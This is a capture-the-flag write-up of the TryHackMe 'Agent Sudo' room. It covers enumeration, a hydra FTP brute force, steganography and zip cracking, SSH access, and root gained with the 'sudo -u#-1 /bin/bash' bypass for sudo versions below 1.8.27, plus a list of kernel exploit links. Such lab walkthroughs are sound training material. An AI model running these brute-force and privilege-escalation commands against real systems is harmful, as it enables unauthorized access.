This writeup refers to the THM-room "Agent Sudo" (see https://tryhackme.com/room/agentsudoctf for more info).
The first thing we should always do is a full portscan (-p-) where you can see the version of the services (-sV) using nmap:

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -p- -T5 10.10.107.167
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-26 15:54 EST
Nmap scan report for 10.10.107.167
Host is up (0.040s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/
submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.32 seconds
```

After that we can see an apache running, so let's enumerate the directories using gobuster:

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.107.167 -w /usr/share/dirbuster/wordlists/directory-
list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.107.167
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server-status        (Status: 403) [Size: 278]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
```

The wordlist doesn't seem to bring us further. Let's also have a look at the website and the sourcecode. Maybe we find some useful information for creating a password-list.
A useful hint comes from Agent R, who suggests using the spy's codename as user-agent to access the site. So let's try using the BurpSuite Repeater and change the user-agent to A, B, C, ... , R,...etc.

We got a response containing the location “agent_c_attention.php”. When invoking this site, we get the next hint.
Agent C's name is *****, has a weak password and has to tell agent J about the stuff ASAP.
So let's have a look at Agent J's page if it exists by using the BurpSuite Repeater once again. We should also check the rest of the alphabet and Agent C itself:

- The request to Agent R's site tells us that there are 25 employees
- The other requests don't tell us anything new so far

By now we could also try to create a new wordlist based on the found php-site. Let's try the following content:

```
agent_a_attention.php
agent_b_attention.php
agent_c_attention.php
agent_d_attention.php
...
...
agent_z_attention.php
agent_a.php
....
...
agent_z.php
agent_a_info.php
```

This is a dead end, so let's check if there are other directories or files using at least another common wordlist:

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.107.167 -w /usr/share/dirbuster/wordlists/
directories.jbrofuzz
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.107.167
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directories.jbrofuzz
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
[ERROR] parse "http://10.10.107.167/%": invalid URL escape "%"
/.                    (Status: 200) [Size: 218]
/??                   (Status: 200) [Size: 218]
Progress: 58688 / 58689 (100.00%)
===============================================================
Finished
===============================================================
```

Nothing. Also checking the site using OWASP ZAP doesn't help us. Let's also check, if the server is behind a WAF:

```
┌──(kali㉿kali)-[~]
└─$ wafw00f http://10.10.107.167

                    _____
                   /
\

(  Woof! )

                   \
____/                    )

                   ,,                            )
(_
              .-. -    ______                   ( |
__|
             ()``; |==|______)                  .)|
__|
             / ('        /|\                   (  |
__|
          (  /  )        / | \                   . |
__|
           \(_)_))      /  |  \                    |
__|

                     ~ WAFW00F : v2.2.0 ~
    The Web Application Firewall Fingerprinting
Toolkit


[*] Checking http://10.10.107.167
[+] Generic Detection results:
[-] No WAF detected by the generic detection
[~] Number of requests: 7
```

Let's move on to the FTP part and start an nmap-scan using the ftp-scripts. The scan will take some time because we'll scan using 8 different scripts! So we have to be patient and take a coffee break:)

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap --script=ftp* 10.10.107.167
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-26 16:44 EST
NSE: [ftp-brute] usernames: Time limit 10m00s exceeded.
NSE: [ftp-brute] usernames: Time limit 10m00s exceeded.
NSE: [ftp-brute] passwords: Time limit 10m00s exceeded.
Nmap scan report for 10.10.107.167
Host is up (0.054s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
| ftp-brute:
|   Accounts: No valid accounts found
|_  Statistics: Performed 3543 guesses in 602 seconds, average tps: 5.9
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 614.40
seconds
```

Since Agent R told Agent C to change the weak password, we should at least try the rockyou wordlist or john.lst for user Agent C to connect to the ftp-server. While we are waiting for the results, we can try the anonymous login for ftp and play around:

```
┌──(kali㉿kali)-[~/…/itsec/thm/rooms/agentsudoctf]
└─$ hydra -v -L usernames.txt -P /usr/share/wordlists/john.lst  ftp://10.10.107.167 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
secret service organizations, or for illegal purposes (this is non-binding, these *** ignore
laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-26 17:13:28
[WARNING] Restorefile (ignored ... ) from a previous session found, to prevent overwriting, ./
hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 21354 login tries (l:6/p:3559), ~1335
tries per task
[DATA] attacking ftp://10.10.107.167:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[STATUS] 264.00 tries/min, 264 tries in 00:01h, 21090 to do in 01:20h, 16 active
[21][ftp] host: 10.10.107.167   login: *****   password: **********
```

The anonymous account doesn't work, but hydra finds the password for Agent C's real name! Now we can log into Agent C's account using his real name and see what we can find. We can download 3 files (2 pictures and a txt-file), which contains a message addressed to Agent J. The next step could be to check if there are useful information stored inside the pictures using a tool like binwalk. After having used binwalk, we get a zip-archive out of the “cutie.png” file:

```
┌──(kali㉿kali)-[~/…/thm/rooms/agentsudoctf/_cutie.png.extracted]
└─$ zip2john ****.zip > hash.txt


┌──(kali㉿kali)-[~/…/thm/rooms/agentsudoctf/_cutie.png.extracted]
└─$ ls
**  **.zlib  ****.zip  hash.txt  To_agentR.txt


┌──(kali㉿kali)-[~/…/thm/rooms/agentsudoctf/_cutie.png.extracted]
└─$ cat hash.txt
****************************************+


┌──(kali㉿kali)-[~/…/thm/rooms/agentsudoctf/_cutie.png.extracted]
└─$ john hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
**********             (****.zip/To_agentR.txt)
1g 0:00:00:01 DONE 2/3 (2023-12-26 17:32) 0.9708g/s 43149p/s 43149c/s 43149C/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

The extracted message reveals the real name of Agent J. We should also check the images, if they store hidden information. A quick check can be done by steghide:

```
┌──(kali㉿kali)-[~/…/itsec/thm/rooms/agentsudoctf]
└─$ steghide extract -sf cute-alien.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
```

The message of Agent R, which we find contains details on where we have to send the picture to, but it seems to be encoded in base64. Put the string into a file and run base64 -d /path/to/file. This is our steg password, so we can answer the next questions, since we also have the username of Agent J inside the message.txt and the login password :) Now we can ssh into the server and check if Agent J has some interesting files in his home directory:

```
*****@agent-sudo:~$ ls -la
total 80
drwxr-xr-x 4 ***** *****  4096 Oct 29  2019 .
drwxr-xr-x 3 root  root   4096 Oct 29  2019 ..
-rw-r--r-- 1 ***** ***** 42189 Jun 19  2019 Alien_autospy.jpg
-rw------- 1 root  root    566 Oct 29  2019 .bash_history
-rw-r--r-- 1 ***** *****   220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 ***** *****  3771 Apr  4  2018 .bashrc
drwx------ 2 ***** *****  4096 Oct 29  2019 .cache
drwx------ 3 ***** *****  4096 Oct 29  2019 .gnupg
-rw-r--r-- 1 ***** *****   807 Apr  4  2018 .profile
-rw-r--r-- 1 ***** *****     0 Oct 29  2019 .sudo_as_admin_successful
-rw-r--r-- 1 ***** *****    33 Oct 29  2019 user_flag.txt
```

The user_flag.txt file gives us the user flag. We can also see another picture (Alien_autopsy.jpg), which might also contain additional information. But binwalk shows us, that there is nothing else.Let's simply check the file doing a reverse image search using your preferred search engine. After searching for a while we can also answer, what the incident of the photo is called. Now we should continue footprinting the machine, maybe we can find a binary having the suid-bit set or something else:

```
*****@agent-sudo:~$ sudo -l
Matching Defaults entries for ***** on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/
bin\:/sbin\:/bin\:/snap/bin

User ***** may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

*****@agent-sudo:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexecssh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/at
/bin/su
/bin/fusermount
/bin/ping
/bin/umount
```

```
/bin/mount
...
...
```

Another useful tool is the linux exploit suggester, which we can from the attacker machine using wget:

```
*****@agent-sudo:/tmp$ ./linux-exploit-suggester.sh

Available information:

Kernel version: 4.15.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 18.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

81 kernel space exploits
49 user space exploits

Possible Exploits:

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-
overflow-sudo.txt
   Exposure: probable
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-
overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2018-18955] subuid_shell

   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
   Exposure: probable
   Tags: [ ubuntu=18.04 ]{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}
   Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-
sploits/45886.zip
   Comments: CONFIG_USER_NS needs to be enabled

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-
limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
```

```
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/
exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2022-2586] nft_object UAF

   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: less probable
   Tags: ubuntu=(20.04){kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/
linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/
exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2019-18634] sudo pwfeedback

   Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
   Exposure: less probable
   Tags: mint=19
   Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
   Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2019-15666] XFRM_UAF

   Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
   Exposure: less probable
   Download URL:
   Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

   Details: https://seclists.org/oss-sec/2017/q1/184
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/
41154

[+] [CVE-2017-0358] ntfs-3g-modprobe

   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
   Exposure: less probable
   Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.
5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2}
   Download URL: https://github.com/offensive-security/exploit-database-bin-sploits/raw/
master/bin-sploits/41356.zip
   Comments: Distros use own versioning scheme. Manual verification needed. Linux headers
must be installed. System must have at least two CPU cores.
```

These results don't really help, because most exploits need a gcc installed, but the system doesn't have one. We should also check the following site, which might be more important:

https://book.hacktricks.xyz/linux-hardening/privilege-escalation

and determine the sudo version:

```
root@agent-sudo:/root# sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
Sudo version 1.8.21p2
```

Sudo in version < 1.8.27 has a bug, which allows us to gain root permissions. Typing “sudo -u#-1 /bin/bash” finally gives us root access to cd into the /root directory, where we can find the root.txt file. This file contains the flag and the real name of Agent R!